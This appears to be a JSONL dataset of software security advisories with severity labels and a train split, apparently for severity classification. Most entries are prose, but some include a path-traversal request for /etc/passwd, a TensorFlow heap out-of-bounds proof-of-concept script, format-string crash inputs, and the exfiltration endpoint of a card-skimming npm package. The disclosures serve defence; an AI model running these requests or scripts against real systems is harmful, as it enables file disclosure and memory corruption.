-{"id": "0f6fe8f44a976d6cc981", "text": "Directory Traversal in calmquist.static-server\n\nAffected versions of `calmquist.static-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in calmquist.static-server\n\n[Severity: HIGH]\n\nAffected versions of `calmquist.static-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "37ca27b95388e0e6c49b", "text": "Pyspark User Impersonation Vulnerability\n\nWhen using PySpark , it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application. This affects versions 1.x, 2.0.x, 2.1.x, 2.2.0 to 2.2.2, and 2.3.0 to 2.3.1.", "text_raw": "Pyspark User Impersonation Vulnerability\n\n[Severity: MEDIUM]\n\nWhen using PySpark , it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application. This affects versions 1.x, 2.0.x, 2.1.x, 2.2.0 to 2.2.2, and 2.3.0 to 2.3.1.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "2a0eb61480186c8367a9", "text": "Doorkeeper is vulnerable to replay attacks\n\nThe Doorkeeper gem before 4.2.0 for Ruby might allow remote attackers to conduct replay attacks or revoke arbitrary tokens by leveraging failure to implement the OAuth 2.0 Token Revocation specification.", "text_raw": "Doorkeeper is vulnerable to replay attacks\n\n[Severity: CRITICAL]\n\nThe Doorkeeper gem before 4.2.0 for Ruby might allow remote attackers to conduct replay attacks or revoke arbitrary tokens by leveraging failure to implement the OAuth 2.0 Token Revocation specification.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fa730b62e539b38f5f7a", "text": "Heap OOB access in `Dilation2DBackpropInput`\n\n### Impact\nAn attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)\nfilter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)\nout_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)\n\ntf.raw_ops.Dilation2DBackpropInput(\n  input=input_tensor, filter=filter, out_backprop=out_backprop, \n  strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322) does not validate before writing to the output array.\n\n```cc               \nin_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);\n```\n\nThe values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`.\n\n### Patches\nWe have patched the issue in GitHub commit [3f6fe4dfef6f57e768260b48166c27d148f3015f](https://github.com/tensorflow/tensorflow/commit/3f6fe4dfef6f57e768260b48166c27d148f3015f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap OOB access in `Dilation2DBackpropInput`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:\n\n```python\nimport tensorflow as tf\n    \ninput_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)\nfilter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)\nout_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)\n\ntf.raw_ops.Dilation2DBackpropInput(\n  input=input_tensor, filter=filter, out_backprop=out_backprop, \n  strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/afd954e65f15aea4d438d0a219136fc4a63a573d/tensorflow/core/kernels/dilation_ops.cc#L321-L322) does not validate before writing to the output array.\n  \n```cc               \nin_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);\n```                 \n    \nThe values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`.\n\n### Patches\nWe have patched the issue in GitHub commit [3f6fe4dfef6f57e768260b48166c27d148f3015f](https://github.com/tensorflow/tensorflow/commit/3f6fe4dfef6f57e768260b48166c27d148f3015f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "40e3ef994475d0a7b474", "text": "Injection in Apache Syncope\n\nVulnerability to Server-Side Template Injection on Mail templates for Apache Syncope 2.0.X releases prior to 2.0.15, 2.1.X releases prior to 2.1.6, enabling attackers to inject arbitrary JEXL expressions, leading to Remote Code Execution (RCE) was discovered.", "text_raw": "Injection in Apache Syncope\n\n[Severity: HIGH]\n\nVulnerability to Server-Side Template Injection on Mail templates for Apache Syncope 2.0.X releases prior to 2.0.15, 2.1.X releases prior to 2.1.6, enabling attackers to inject arbitrary JEXL expressions, leading to Remote Code Execution (RCE) was discovered.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "6e7d520385867a6dcfa1", "text": "False-positive validity for NFT1 genesis transactions in SLPJS\n\n### Impact\nIn the npm package named \"slpjs\", versions prior to 0.27.4 are vulnerable to false-positive validation outcomes for the NFT1 Child Genesis transaction type. A poorly implemented SLP wallet or opportunistic attacker could create a seemingly valid NFT1 child token without burning any of the NFT1 Group token type as is required by the NFT1 specification.\n\n### Patches\nnpm package \"slpjs\" has been patched and is published and tagged as version 0.27.4.\n\n### Workarounds\nUpgrade to slpjs 0.27.4.\n\n### References\n* Package location: https://www.npmjs.com/package/slpjs\n* SLP NFT1 spec: https://slp.dev/specs/slp-nft-1/#nft1-protocol-requirements\n* Git commit hash fixing this issue: https://github.com/simpleledger/slpjs/commit/290c20e8bff13ac81459d43e54cac232b5e3456c\n* Unit tests have been added to assist validator implementations in avoiding this bug: https://github.com/simpleledger/slp-unit-test-data/commit/8c942eacfae12686dcf1f3366321445a4fba73e7\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in the [slp-validate](https://github.com/simpleledger/slpjs/issues) repository.", "text_raw": "False-positive validity for NFT1 genesis transactions in SLPJS\n\n[Severity: CRITICAL]\n\n### Impact\nIn the npm package named \"slpjs\", versions prior to 0.27.4 are vulnerable to false-positive validation outcomes for the NFT1 Child Genesis transaction type. A poorly implemented SLP wallet or opportunistic attacker could create a seemingly valid NFT1 child token without burning any of the NFT1 Group token type as is required by the NFT1 specification.\n\n### Patches\nnpm package \"slpjs\" has been patched and is published and tagged as version 0.27.4.\n\n### Workarounds\nUpgrade to slpjs 0.27.4.\n\n### References\n* Package location: https://www.npmjs.com/package/slpjs\n* SLP NFT1 spec: https://slp.dev/specs/slp-nft-1/#nft1-protocol-requirements\n* Git commit hash fixing this issue: https://github.com/simpleledger/slpjs/commit/290c20e8bff13ac81459d43e54cac232b5e3456c\n* Unit tests have been added to assist validator implementations in avoiding this bug: https://github.com/simpleledger/slp-unit-test-data/commit/8c942eacfae12686dcf1f3366321445a4fba73e7\n\n### For more information\nIf you have any questions or comments about this advisory please open an issue in the [slp-validate](https://github.com/simpleledger/slpjs/issues) repository.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-30", "split": "train"}
-{"id": "e23d8d9e53f1d2e66aec", "text": "Sipwise C5 NGCP CSC CSRF Click2Dial Exploit", "text_raw": "Sipwise C5 NGCP CSC CSRF Click2Dial Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-04-23", "split": "train"}
-{"id": "48008bddd471e83a1f87", "text": "Malicious Package in ember-power-timepicker\n\nVersion 1.0.8 of `ember-power-timepicker` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.7", "text_raw": "Malicious Package in ember-power-timepicker\n\n[Severity: CRITICAL]\n\nVersion 1.0.8 of `ember-power-timepicker` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.7", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "07dc6df503c57f9ca349", "text": "Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting", "text_raw": "Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-03-16", "split": "train"}
-{"id": "f389cd79607ed86f19b4", "text": "Arbitrary return types in xcb\n\nThe function xcb::xproto::GetPropertyReply::value() returns a slice of type T where T is an unconstrained type parameter. The raw bytes received from the X11 server are interpreted as the requested type. The users of the xcb crate are advised to only call this function with the intended types. These are u8, u16, and u32.\n\nThis issue is tracked here: https://github.com/rust-x-bindings/rust-xcb/issues/95", "text_raw": "Arbitrary return types in xcb\n\n[Severity: CRITICAL]\n\nThe function xcb::xproto::GetPropertyReply::value() returns a slice of type T where T is an unconstrained type parameter. The raw bytes received from the X11 server are interpreted as the requested type. The users of the xcb crate are advised to only call this function with the intended types. These are u8, u16, and u32.\n\nThis issue is tracked here: https://github.com/rust-x-bindings/rust-xcb/issues/95", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d67b549dfe279325e312", "text": "XML external entity injection in Terracotta Quartz Scheduler\n\ninitDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.", "text_raw": "XML external entity injection in Terracotta Quartz Scheduler\n\n[Severity: CRITICAL]\n\ninitDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-01", "split": "train"}
-{"id": "de39d620c028a0c5de15", "text": "Unrestricted Upload of File with Dangerous Type in django-widgy\n\nUnrestricted Upload of File with Dangerous Type in Django-Widgy v0.8.4 allows remote attackers to execute arbitrary code via the 'image' widget in the component 'Change Widgy Page'.", "text_raw": "Unrestricted Upload of File with Dangerous Type in django-widgy\n\n[Severity: CRITICAL]\n\nUnrestricted Upload of File with Dangerous Type in Django-Widgy v0.8.4 allows remote attackers to execute arbitrary code via the 'image' widget in the component 'Change Widgy Page'.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "9785a75fa311795d6e4b", "text": "Server-Side Request Forgery in Plone\n\nPlone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.", "text_raw": "Server-Side Request Forgery in Plone\n\n[Severity: MEDIUM]\n\nPlone through 5.2.4 allows remote authenticated managers to conduct SSRF attacks via an event ical URL, to read one line of a file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "ae00c65b4fd3ae867914", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator in Rclone\n\nAn issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator in Rclone\n\n[Severity: HIGH]\n\nAn issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "bcfa8061700576d42cfb", "text": "Denial of Service in Tensorflow\n\n### Impact\nBy controlling the `fill` argument of [`tf.strings.as_string`](https://www.tensorflow.org/api_docs/python/tf/strings/as_string), a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a `printf` call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/as_string_op.cc#L68-L74\n\nThis can result in unexpected output:\n```python\nIn [1]: tf.strings.as_string(input=[1234], width=6, fill='-')                                                                     \nOut[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '], dtype=object)>                                              \nIn [2]: tf.strings.as_string(input=[1234], width=6, fill='+')                                                                     \nOut[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)> \nIn [3]: tf.strings.as_string(input=[1234], width=6, fill=\"h\")                                                                     \nOut[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)> \nIn [4]: tf.strings.as_string(input=[1234], width=6, fill=\"d\")                                                                     \nOut[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)> \nIn [5]: tf.strings.as_string(input=[1234], width=6, fill=\"o\")\nOut[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)>\nIn [6]: tf.strings.as_string(input=[1234], width=6, fill=\"x\")\nOut[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)>\nIn [7]: tf.strings.as_string(input=[1234], width=6, fill=\"g\")\nOut[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)>\nIn [8]: tf.strings.as_string(input=[1234], width=6, fill=\"a\")\nOut[8]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>\nIn [9]: tf.strings.as_string(input=[1234], width=6, fill=\"c\")\nOut[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\\xd26d'], dtype=object)>\nIn [10]: tf.strings.as_string(input=[1234], width=6, fill=\"p\")\nOut[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)>\nIn [11]: tf.strings.as_string(input=[1234], width=6, fill='m') \nOut[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)>\n```\n\nHowever, passing in `n` or `s` results in segmentation fault.\n\n### Patches\nWe have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Denial of Service in Tensorflow\n\n[Severity: HIGH]\n\n### Impact\nBy controlling the `fill` argument of [`tf.strings.as_string`](https://www.tensorflow.org/api_docs/python/tf/strings/as_string), a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a `printf` call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/as_string_op.cc#L68-L74\n\nThis can result in unexpected output:\n```python\nIn [1]: tf.strings.as_string(input=[1234], width=6, fill='-')                                                                     \nOut[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '], dtype=object)>                                              \nIn [2]: tf.strings.as_string(input=[1234], width=6, fill='+')                                                                     \nOut[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)> \nIn [3]: tf.strings.as_string(input=[1234], width=6, fill=\"h\")                                                                     \nOut[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)> \nIn [4]: tf.strings.as_string(input=[1234], width=6, fill=\"d\")                                                                     \nOut[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)> \nIn [5]: tf.strings.as_string(input=[1234], width=6, fill=\"o\")\nOut[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)>\nIn [6]: tf.strings.as_string(input=[1234], width=6, fill=\"x\")\nOut[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)>\nIn [7]: tf.strings.as_string(input=[1234], width=6, fill=\"g\")\nOut[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)>\nIn [8]: tf.strings.as_string(input=[1234], width=6, fill=\"a\")\nOut[8]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>\nIn [9]: tf.strings.as_string(input=[1234], width=6, fill=\"c\")\nOut[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\\xd26d'], dtype=object)>\nIn [10]: tf.strings.as_string(input=[1234], width=6, fill=\"p\")\nOut[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)>\nIn [11]: tf.strings.as_string(input=[1234], width=6, fill='m') \nOut[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)>\n```\n\nHowever, passing in `n` or `s` results in segmentation fault.\n\n### Patches\nWe have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "3c8c90fd1b305f641042", "text": "Symfony Cross-site Scripting (XSS) vulnerability\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, validation messages are not escaped, which can lead to XSS when user input is included. This is related to symfony/framework-bundle.", "text_raw": "Symfony Cross-site Scripting (XSS) vulnerability\n\n[Severity: MEDIUM]\n\nIn Symfony before 2.7.51, 2.8.x before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, validation messages are not escaped, which can lead to XSS when user input is included. This is related to symfony/framework-bundle.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "0acb0362dc13ee67d55e", "text": "Cross-site scripting in ICEcoder\n\nIn ICEcoder 8.0 allows, a reflected XSS vulnerability was identified in the multipe-results.php page due to insufficient sanitization of the _GET['replace'] variable. As a result, arbitrary Javascript code can get executed.", "text_raw": "Cross-site scripting in ICEcoder\n\n[Severity: MEDIUM]\n\nIn ICEcoder 8.0 allows, a reflected XSS vulnerability was identified in the multipe-results.php page due to insufficient sanitization of the _GET['replace'] variable. As a result, arbitrary Javascript code can get executed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
-{"id": "96a07b79cfe36c6a4079", "text": "Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible\n\nA flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.", "text_raw": "Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "a9d9278aa8b3824ac642", "text": "Directory Traversal in Next.js\n\n### Impact\n\n- **Not affected**: Deployments on ZEIT Now v2 ([https://zeit.co](https://zeit.co/)) are not affected\n- **Not affected**: Deployments using the `serverless` target\n- **Not affected**: Deployments using `next export`\n- **Affected**: Users of Next.js below 9.3.2\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/zeit/next.js/releases/tag/v9.3.2\n\n### References\n\nhttps://github.com/zeit/next.js/releases/tag/v9.3.2", "text_raw": "Directory Traversal in Next.js\n\n[Severity: MEDIUM]\n\n### Impact\n\n- **Not affected**: Deployments on ZEIT Now v2 ([https://zeit.co](https://zeit.co/)) are not affected\n- **Not affected**: Deployments using the `serverless` target\n- **Not affected**: Deployments using `next export`\n- **Affected**: Users of Next.js below 9.3.2\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/zeit/next.js/releases/tag/v9.3.2\n\n### References\n\nhttps://github.com/zeit/next.js/releases/tag/v9.3.2", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "0e3a06587dd206bf1083", "text": "Session fixation in change password form\n\nSilverStripe through 4.3.3 allows session fixation in the \"change password\" form.", "text_raw": "Session fixation in change password form\n\n[Severity: MEDIUM]\n\nSilverStripe through 4.3.3 allows session fixation in the \"change password\" form.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "bc6958169e140fc4482f", "text": "Out-of-bounds Read in stringstream\n\nAll versions of `stringstream` are vulnerable to out-of-bounds read as it allocates uninitialized Buffers when number is passed in input stream on Node.js 4.x and below.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module if user input is being passed in to `stringstream`.", "text_raw": "Out-of-bounds Read in stringstream\n\n[Severity: MEDIUM]\n\nAll versions of `stringstream` are vulnerable to out-of-bounds read as it allocates uninitialized Buffers when number is passed in input stream on Node.js 4.x and below.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module if user input is being passed in to `stringstream`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "cf5f48eb820a0ffc219f", "text": "OS Command Injection in im-resize\n\nim-resize through 2.3.2 allows remote attackers to execute arbitrary commands via the \"exec\" argument. The cmd argument used within index.js, can be controlled by user without any sanitization.", "text_raw": "OS Command Injection in im-resize\n\n[Severity: HIGH]\n\nim-resize through 2.3.2 allows remote attackers to execute arbitrary commands via the \"exec\" argument. The cmd argument used within index.js, can be controlled by user without any sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "ae71ec9a4b82077d590a", "text": "Regular Expression Denial of Service in highcharts\n\nWithdrawn: Duplicate of GHSA-xmc8-cjfr-phx3", "text_raw": "Regular Expression Denial of Service in highcharts\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-xmc8-cjfr-phx3", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "9c96e3ec2e564a802ba9", "text": "Privilege escalation in Hashicorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise Raft RPC layer allows non-server agents with a valid certificate signed by the same CA to access server-only functionality, enabling privilege escalation. Fixed in 1.0.10 and 1.1.4.", "text_raw": "Privilege escalation in Hashicorp Nomad\n\n[Severity: HIGH]\n\nHashiCorp Nomad and Nomad Enterprise Raft RPC layer allows non-server agents with a valid certificate signed by the same CA to access server-only functionality, enabling privilege escalation. Fixed in 1.0.10 and 1.1.4.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "4f7ee8e8bad7e97a288d", "text": "NodeBB vulnerable to path traversal in translator module\n\n### Impact\nPrior to v1.18.5, a path traversal vulnerability was present that allowed users to access JSON files outside of the expected `languages/` directory.\n\n### Patches\nThe vulnerability has been patched as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash `c8b2fc46dc698db687379106b3f01c71b80f495f` to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)", "text_raw": "NodeBB vulnerable to path traversal in translator module\n\n[Severity: MEDIUM]\n\n### Impact\nPrior to v1.18.5, a path traversal vulnerability was present that allowed users to access JSON files outside of the expected `languages/` directory.\n\n### Patches\nThe vulnerability has been patched as of v1.18.5.\n\n### Workarounds\nCherry-pick commit hash `c8b2fc46dc698db687379106b3f01c71b80f495f` to receive this patch in lieu of a full upgrade.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@nodebb.org](mailto:security@nodebb.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "292a1d53452c0336f19a", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache hive\n\nIn Apache Hive 0.6.0 to 2.3.2, malicious user might use any xpath UDFs (xpath/xpath_string/xpath_boolean/xpath_number/xpath_double/xpath_float/xpath_long/xpath_int/xpath_short) to expose the content of a file on the machine running HiveServer2 owned by HiveServer2 user (usually hive) if hive.server2.enable.doAs=false.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache hive\n\n[Severity: LOW]\n\nIn Apache Hive 0.6.0 to 2.3.2, malicious user might use any xpath UDFs (xpath/xpath_string/xpath_boolean/xpath_number/xpath_double/xpath_float/xpath_long/xpath_int/xpath_short) to expose the content of a file on the machine running HiveServer2 owned by HiveServer2 user (usually hive) if hive.server2.enable.doAs=false.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "c32a091dc80b7f043e2b", "text": "Remote Code Execution in Apache Synapse\n\nIn Apache Synapse, by default no authentication is required for Java Remote Method Invocation (RMI). So Apache Synapse 3.0.1 or all previous releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allows remote code execution attacks that can be performed by injecting specially crafted serialized objects. And the presence of Apache Commons Collections 3.2.1 (commons-collections-3.2.1.jar) or previous versions in Synapse distribution makes this exploitable. To mitigate the issue, we need to limit RMI access to trusted users only. Further upgrading to 3.0.1 version will eliminate the risk of having said Commons Collection version. In Synapse 3.0.1, Commons Collection has been updated to 3.2.2 version.", "text_raw": "Remote Code Execution in Apache Synapse\n\n[Severity: CRITICAL]\n\nIn Apache Synapse, by default no authentication is required for Java Remote Method Invocation (RMI). So Apache Synapse 3.0.1 or all previous releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allows remote code execution attacks that can be performed by injecting specially crafted serialized objects. And the presence of Apache Commons Collections 3.2.1 (commons-collections-3.2.1.jar) or previous versions in Synapse distribution makes this exploitable. To mitigate the issue, we need to limit RMI access to trusted users only. Further upgrading to 3.0.1 version will eliminate the risk of having said Commons Collection version. In Synapse 3.0.1, Commons Collection has been updated to 3.2.2 version.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-11-04", "split": "train"}
